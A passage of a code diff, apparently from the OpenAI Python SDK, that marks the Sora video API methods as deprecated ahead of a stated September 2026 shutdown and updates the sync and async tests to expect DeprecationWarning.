+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def get_character(
self,
character_id: str,
@@ -1164,6 +1188,7 @@ async def get_character(
cast_to=VideoGetCharacterResponse,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def remix(
self,
video_id: str,
@@ -1210,35 +1235,55 @@ class VideosWithRawResponse:
def __init__(self, videos: Videos) -> None:
self._videos = videos
- self.create = _legacy_response.to_raw_response_wrapper(
- videos.create,
+ self.create = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.create, # pyright: ignore[reportDeprecated],
+ )
)
- self.retrieve = _legacy_response.to_raw_response_wrapper(
- videos.retrieve,
+ self.retrieve = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.retrieve, # pyright: ignore[reportDeprecated],
+ )
)
- self.list = _legacy_response.to_raw_response_wrapper(
- videos.list,
+ self.list = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.list, # pyright: ignore[reportDeprecated],
+ )
)
- self.delete = _legacy_response.to_raw_response_wrapper(
- videos.delete,
+ self.delete = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.delete, # pyright: ignore[reportDeprecated],
+ )
)
- self.create_character = _legacy_response.to_raw_response_wrapper(
- videos.create_character,
+ self.create_character = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.create_character, # pyright: ignore[reportDeprecated],
+ )
)
- self.download_content = _legacy_response.to_raw_response_wrapper(
- videos.download_content,
+ self.download_content = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.download_content, # pyright: ignore[reportDeprecated],
+ )
)
- self.edit = _legacy_response.to_raw_response_wrapper(
- videos.edit,
+ self.edit = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.edit, # pyright: ignore[reportDeprecated],
+ )
)
- self.extend = _legacy_response.to_raw_response_wrapper(
- videos.extend,
+ self.extend = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.extend, # pyright: ignore[reportDeprecated],
+ )
)
- self.get_character = _legacy_response.to_raw_response_wrapper(
- videos.get_character,
+ self.get_character = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.get_character, # pyright: ignore[reportDeprecated],
+ )
)
- self.remix = _legacy_response.to_raw_response_wrapper(
- videos.remix,
+ self.remix = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.to_raw_response_wrapper(
+ videos.remix, # pyright: ignore[reportDeprecated],
+ )
)
@@ -1246,35 +1291,55 @@ class AsyncVideosWithRawResponse:
def __init__(self, videos: AsyncVideos) -> None:
self._videos = videos
- self.create = _legacy_response.async_to_raw_response_wrapper(
- videos.create,
+ self.create = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.create, # pyright: ignore[reportDeprecated],
+ )
)
- self.retrieve = _legacy_response.async_to_raw_response_wrapper(
- videos.retrieve,
+ self.retrieve = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.retrieve, # pyright: ignore[reportDeprecated],
+ )
)
- self.list = _legacy_response.async_to_raw_response_wrapper(
- videos.list,
+ self.list = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.list, # pyright: ignore[reportDeprecated],
+ )
)
- self.delete = _legacy_response.async_to_raw_response_wrapper(
- videos.delete,
+ self.delete = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.delete, # pyright: ignore[reportDeprecated],
+ )
)
- self.create_character = _legacy_response.async_to_raw_response_wrapper(
- videos.create_character,
+ self.create_character = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.create_character, # pyright: ignore[reportDeprecated],
+ )
)
- self.download_content = _legacy_response.async_to_raw_response_wrapper(
- videos.download_content,
+ self.download_content = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.download_content, # pyright: ignore[reportDeprecated],
+ )
)
- self.edit = _legacy_response.async_to_raw_response_wrapper(
- videos.edit,
+ self.edit = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.edit, # pyright: ignore[reportDeprecated],
+ )
)
- self.extend = _legacy_response.async_to_raw_response_wrapper(
- videos.extend,
+ self.extend = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.extend, # pyright: ignore[reportDeprecated],
+ )
)
- self.get_character = _legacy_response.async_to_raw_response_wrapper(
- videos.get_character,
+ self.get_character = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.get_character, # pyright: ignore[reportDeprecated],
+ )
)
- self.remix = _legacy_response.async_to_raw_response_wrapper(
- videos.remix,
+ self.remix = ( # pyright: ignore[reportDeprecated]
+ _legacy_response.async_to_raw_response_wrapper(
+ videos.remix, # pyright: ignore[reportDeprecated],
+ )
)
@@ -1282,36 +1347,56 @@ class VideosWithStreamingResponse:
def __init__(self, videos: Videos) -> None:
self._videos = videos
- self.create = to_streamed_response_wrapper(
- videos.create,
+ self.create = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.create, # pyright: ignore[reportDeprecated],
+ )
)
- self.retrieve = to_streamed_response_wrapper(
- videos.retrieve,
+ self.retrieve = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.retrieve, # pyright: ignore[reportDeprecated],
+ )
)
- self.list = to_streamed_response_wrapper(
- videos.list,
+ self.list = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.list, # pyright: ignore[reportDeprecated],
+ )
)
- self.delete = to_streamed_response_wrapper(
- videos.delete,
+ self.delete = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.delete, # pyright: ignore[reportDeprecated],
+ )
)
- self.create_character = to_streamed_response_wrapper(
- videos.create_character,
+ self.create_character = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.create_character, # pyright: ignore[reportDeprecated],
+ )
)
- self.download_content = to_custom_streamed_response_wrapper(
- videos.download_content,
- StreamedBinaryAPIResponse,
+ self.download_content = ( # pyright: ignore[reportDeprecated]
+ to_custom_streamed_response_wrapper(
+ videos.download_content, # pyright: ignore[reportDeprecated],
+ StreamedBinaryAPIResponse,
+ )
)
- self.edit = to_streamed_response_wrapper(
- videos.edit,
+ self.edit = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.edit, # pyright: ignore[reportDeprecated],
+ )
)
- self.extend = to_streamed_response_wrapper(
- videos.extend,
+ self.extend = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.extend, # pyright: ignore[reportDeprecated],
+ )
)
- self.get_character = to_streamed_response_wrapper(
- videos.get_character,
+ self.get_character = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.get_character, # pyright: ignore[reportDeprecated],
+ )
)
- self.remix = to_streamed_response_wrapper(
- videos.remix,
+ self.remix = ( # pyright: ignore[reportDeprecated]
+ to_streamed_response_wrapper(
+ videos.remix, # pyright: ignore[reportDeprecated],
+ )
)
@@ -1319,34 +1404,54 @@ class AsyncVideosWithStreamingResponse:
def __init__(self, videos: AsyncVideos) -> None:
self._videos = videos
- self.create = async_to_streamed_response_wrapper(
- videos.create,
+ self.create = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.create, # pyright: ignore[reportDeprecated],
+ )
)
- self.retrieve = async_to_streamed_response_wrapper(
- videos.retrieve,
+ self.retrieve = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.retrieve, # pyright: ignore[reportDeprecated],
+ )
)
- self.list = async_to_streamed_response_wrapper(
- videos.list,
+ self.list = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.list, # pyright: ignore[reportDeprecated],
+ )
)
- self.delete = async_to_streamed_response_wrapper(
- videos.delete,
+ self.delete = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.delete, # pyright: ignore[reportDeprecated],
+ )
)
- self.create_character = async_to_streamed_response_wrapper(
- videos.create_character,
+ self.create_character = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.create_character, # pyright: ignore[reportDeprecated],
+ )
)
- self.download_content = async_to_custom_streamed_response_wrapper(
- videos.download_content,
- AsyncStreamedBinaryAPIResponse,
+ self.download_content = ( # pyright: ignore[reportDeprecated]
+ async_to_custom_streamed_response_wrapper(
+ videos.download_content, # pyright: ignore[reportDeprecated],
+ AsyncStreamedBinaryAPIResponse,
+ )
)
- self.edit = async_to_streamed_response_wrapper(
- videos.edit,
+ self.edit = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.edit, # pyright: ignore[reportDeprecated],
+ )
)
- self.extend = async_to_streamed_response_wrapper(
- videos.extend,
+ self.extend = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.extend, # pyright: ignore[reportDeprecated],
+ )
)
- self.get_character = async_to_streamed_response_wrapper(
- videos.get_character,
+ self.get_character = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.get_character, # pyright: ignore[reportDeprecated],
+ )
)
- self.remix = async_to_streamed_response_wrapper(
- videos.remix,
+ self.remix = ( # pyright: ignore[reportDeprecated]
+ async_to_streamed_response_wrapper(
+ videos.remix, # pyright: ignore[reportDeprecated],
+ )
)
diff --git a/tests/api_resources/test_videos.py b/tests/api_resources/test_videos.py
index 71e87a4e4a..d93932c978 100644
--- a/tests/api_resources/test_videos.py
+++ b/tests/api_resources/test_videos.py
@@ -31,27 +31,32 @@ class TestVideos:
@parametrize
def test_method_create(self, client: OpenAI) -> None:
- video = client.videos.create(
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.create(
+ prompt="x",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
def test_method_create_with_all_params(self, client: OpenAI) -> None:
- video = client.videos.create(
- prompt="x",
- input_reference=b"Example data",
- model="sora-2",
- seconds="4",
- size="720x1280",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.create(
+ prompt="x",
+ input_reference=b"Example data",
+ model="sora-2",
+ seconds="4",
+ size="720x1280",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
def test_raw_response_create(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.create(
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.create(
+ prompt="x",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -60,29 +65,33 @@ def test_raw_response_create(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_create(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.create(
- prompt="x",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.create(
+ prompt="x",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
def test_method_retrieve(self, client: OpenAI) -> None:
- video = client.videos.retrieve(
- "video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.retrieve(
+ "video_123",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
def test_raw_response_retrieve(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.retrieve(
- "video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.retrieve(
+ "video_123",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -91,41 +100,48 @@ def test_raw_response_retrieve(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_retrieve(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.retrieve(
- "video_123",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.retrieve(
+ "video_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
def test_path_params_retrieve(self, client: OpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
- client.videos.with_raw_response.retrieve(
- "",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
+ client.videos.with_raw_response.retrieve(
+ "",
+ )
@parametrize
def test_method_list(self, client: OpenAI) -> None:
- video = client.videos.list()
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.list()
+
assert_matches_type(SyncConversationCursorPage[Video], video, path=["response"])
@parametrize
def test_method_list_with_all_params(self, client: OpenAI) -> None:
- video = client.videos.list(
- after="after",
- limit=0,
- order="asc",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.list(
+ after="after",
+ limit=0,
+ order="asc",
+ )
+
assert_matches_type(SyncConversationCursorPage[Video], video, path=["response"])
@parametrize
def test_raw_response_list(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.list()
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.list()
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -134,27 +150,31 @@ def test_raw_response_list(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_list(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.list() as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(SyncConversationCursorPage[Video], video, path=["response"])
+ video = response.parse()
+ assert_matches_type(SyncConversationCursorPage[Video], video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
def test_method_delete(self, client: OpenAI) -> None:
- video = client.videos.delete(
- "video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.delete(
+ "video_123",
+ )
+
assert_matches_type(VideoDeleteResponse, video, path=["response"])
@parametrize
def test_raw_response_delete(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.delete(
- "video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.delete(
+ "video_123",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -163,38 +183,43 @@ def test_raw_response_delete(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_delete(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.delete(
- "video_123",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.delete(
+ "video_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(VideoDeleteResponse, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(VideoDeleteResponse, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
def test_path_params_delete(self, client: OpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
- client.videos.with_raw_response.delete(
- "",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
+ client.videos.with_raw_response.delete(
+ "",
+ )
@parametrize
def test_method_create_character(self, client: OpenAI) -> None:
- video = client.videos.create_character(
- name="x",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.create_character(
+ name="x",
+ video=b"Example data",
+ )
+
assert_matches_type(VideoCreateCharacterResponse, video, path=["response"])
@parametrize
def test_raw_response_create_character(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.create_character(
- name="x",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.create_character(
+ name="x",
+ video=b"Example data",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -203,15 +228,16 @@ def test_raw_response_create_character(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_create_character(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.create_character(
- name="x",
- video=b"Example data",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.create_character(
+ name="x",
+ video=b"Example data",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(VideoCreateCharacterResponse, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(VideoCreateCharacterResponse, video, path=["response"])
assert cast(Any, response.is_closed) is True
@@ -219,9 +245,10 @@ def test_streaming_response_create_character(self, client: OpenAI) -> None:
@pytest.mark.respx2(base_url=base_url)
def test_method_download_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- video = client.videos.download_content(
- video_id="video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.download_content(
+ video_id="video_123",
+ )
assert isinstance(video, _legacy_response.HttpxBinaryResponseContent)
assert video.json() == {"foo": "bar"}
@@ -229,10 +256,11 @@ def test_method_download_content(self, client: OpenAI, respx2_mock: MockRouter)
@pytest.mark.respx2(base_url=base_url)
def test_method_download_content_with_all_params(self, client: OpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- video = client.videos.download_content(
- video_id="video_123",
- variant="video",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.download_content(
+ video_id="video_123",
+ variant="video",
+ )
assert isinstance(video, _legacy_response.HttpxBinaryResponseContent)
assert video.json() == {"foo": "bar"}
@@ -241,9 +269,10 @@ def test_method_download_content_with_all_params(self, client: OpenAI, respx2_mo
def test_raw_response_download_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- response = client.videos.with_raw_response.download_content(
- video_id="video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.download_content(
+ video_id="video_123",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -254,39 +283,44 @@ def test_raw_response_download_content(self, client: OpenAI, respx2_mock: MockRo
@pytest.mark.respx2(base_url=base_url)
def test_streaming_response_download_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- with client.videos.with_streaming_response.download_content(
- video_id="video_123",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.download_content(
+ video_id="video_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(bytes, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(bytes, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
@pytest.mark.respx2(base_url=base_url)
def test_path_params_download_content(self, client: OpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
- client.videos.with_raw_response.download_content(
- video_id="",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
+ client.videos.with_raw_response.download_content(
+ video_id="",
+ )
@parametrize
def test_method_edit(self, client: OpenAI) -> None:
- video = client.videos.edit(
- prompt="x",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.edit(
+ prompt="x",
+ video=b"Example data",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
def test_raw_response_edit(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.edit(
- prompt="x",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.edit(
+ prompt="x",
+ video=b"Example data",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -295,34 +329,38 @@ def test_raw_response_edit(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_edit(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.edit(
- prompt="x",
- video=b"Example data",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.edit(
+ prompt="x",
+ video=b"Example data",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
def test_method_extend(self, client: OpenAI) -> None:
- video = client.videos.extend(
- prompt="x",
- seconds="4",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.extend(
+ prompt="x",
+ seconds="4",
+ video=b"Example data",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
def test_raw_response_extend(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.extend(
- prompt="x",
- seconds="4",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.extend(
+ prompt="x",
+ seconds="4",
+ video=b"Example data",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -331,31 +369,35 @@ def test_raw_response_extend(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_extend(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.extend(
- prompt="x",
- seconds="4",
- video=b"Example data",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.extend(
+ prompt="x",
+ seconds="4",
+ video=b"Example data",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
def test_method_get_character(self, client: OpenAI) -> None:
- video = client.videos.get_character(
- "char_123",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.get_character(
+ "char_123",
+ )
+
assert_matches_type(VideoGetCharacterResponse, video, path=["response"])
@parametrize
def test_raw_response_get_character(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.get_character(
- "char_123",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.get_character(
+ "char_123",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -364,38 +406,43 @@ def test_raw_response_get_character(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_get_character(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.get_character(
- "char_123",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.get_character(
+ "char_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(VideoGetCharacterResponse, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(VideoGetCharacterResponse, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
def test_path_params_get_character(self, client: OpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `character_id` but received ''"):
- client.videos.with_raw_response.get_character(
- "",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `character_id` but received ''"):
+ client.videos.with_raw_response.get_character(
+ "",
+ )
@parametrize
def test_method_remix(self, client: OpenAI) -> None:
- video = client.videos.remix(
- video_id="video_123",
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ video = client.videos.remix(
+ video_id="video_123",
+ prompt="x",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
def test_raw_response_remix(self, client: OpenAI) -> None:
- response = client.videos.with_raw_response.remix(
- video_id="video_123",
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ response = client.videos.with_raw_response.remix(
+ video_id="video_123",
+ prompt="x",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -404,25 +451,27 @@ def test_raw_response_remix(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_remix(self, client: OpenAI) -> None:
- with client.videos.with_streaming_response.remix(
- video_id="video_123",
- prompt="x",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ with client.videos.with_streaming_response.remix(
+ video_id="video_123",
+ prompt="x",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
def test_path_params_remix(self, client: OpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
- client.videos.with_raw_response.remix(
- video_id="",
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
+ client.videos.with_raw_response.remix(
+ video_id="",
+ prompt="x",
+ )
class TestAsyncVideos:
@@ -432,27 +481,32 @@ class TestAsyncVideos:
@parametrize
async def test_method_create(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.create(
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.create(
+ prompt="x",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.create(
- prompt="x",
- input_reference=b"Example data",
- model="sora-2",
- seconds="4",
- size="720x1280",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.create(
+ prompt="x",
+ input_reference=b"Example data",
+ model="sora-2",
+ seconds="4",
+ size="720x1280",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.create(
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.create(
+ prompt="x",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -461,29 +515,33 @@ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.create(
- prompt="x",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.create(
+ prompt="x",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.retrieve(
- "video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.retrieve(
+ "video_123",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.retrieve(
- "video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.retrieve(
+ "video_123",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -492,41 +550,48 @@ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.retrieve(
- "video_123",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.retrieve(
+ "video_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
